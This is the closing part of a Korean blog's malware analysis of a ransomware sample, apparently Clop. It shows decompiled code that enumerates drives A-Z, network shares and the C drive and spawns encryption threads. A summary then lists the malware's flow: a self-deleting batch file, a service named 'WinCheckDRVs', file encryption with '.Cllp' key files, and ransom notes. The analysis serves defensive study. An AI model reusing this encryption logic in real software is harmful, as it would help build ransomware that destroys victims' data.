      wsprintfW(RootPathName, L"%c:", (unsigned __int16)(i + 'A'));
      v6 = GetDriveTypeW(RootPathName);
      *lpParameter = 0i64;
      memmove_0(lpParameter, RootPathName, 8u);
      if ( v6 == DRIVE_FIXED || v6 == DRIVE_REMOVABLE )
      {
        v7 = CreateThread(0, 0, sub_411E70, lpParameter, 0, 0);
        Sleep(0x3E8u);
        v11 = v7;
        v1 = (void (__stdcall *)(HANDLE))CloseHandle;
        CloseHandle(v11);
      }
      else
      {
        v1 = (void (__stdcall *)(HANDLE))CloseHandle;
      }
      Sleep(0x64u);
    }
// 여기까지는 A-Z 드라이브 내용물들 암호화 시도
    Sleep(0x1388u);
    v8 = CreateThread(0, 0, sub_411000, 0, 0, 0); // 네트워크 공유 드라이브 암호화 시도
    v1(v8);
    Sleep(0xEA60u);
    v9 = CreateThread(0, 0, sub_412000, 0, 0, 0); // C 드라이브 암호화 시도
    v1(v9);
    Sleep(0xFFFFFFFF);
  }
  while ( WaitForSingleObject(hHandle, 0xFFFFFFFF) );
  Sleep(0xFFFFFFFF);
  return 0;
}

3. 정리


3.1) 악성행위 중요 흐름


  1. 피싱 메일 같은 형태로 배포 - 해당 랜섬웨어의 유포방식은 알 수 없음
  1. 악성 행위가 끝나면 자가 삭제를 수행할 배치파일 생성. 이는 루프를 돌면서 끝날때까지 체크함
  1. WinCheckDRVs 서비스 명으로 쉘코드를 등록함
  1. WinCheckDRVs 서비스 하위에 자기 자신 응용 프로그램을 생성
  1. A-Z 드라이브와 네트워크 공유 드라이버를 돌면서 모든 파일들 암호화를 진행하고 타겟이 되는 파일이름.Cllp 형태의 키파일 생성
  1. 암호화 한 파일 경로에 랜섬노트 생성

3.2) 악성 행위의 중요 기능

4. 참고문헌


728x90

'보안 > 악성코드 분석' 카테고리의 다른 글

[RTF] 문서형 악성코드 분석  (0) 2021.02.21
[호크아이] 악성코드 분석  (0) 2021.01.20
[hwp eps] 악성코드 분석 보고서  (0) 2020.12.12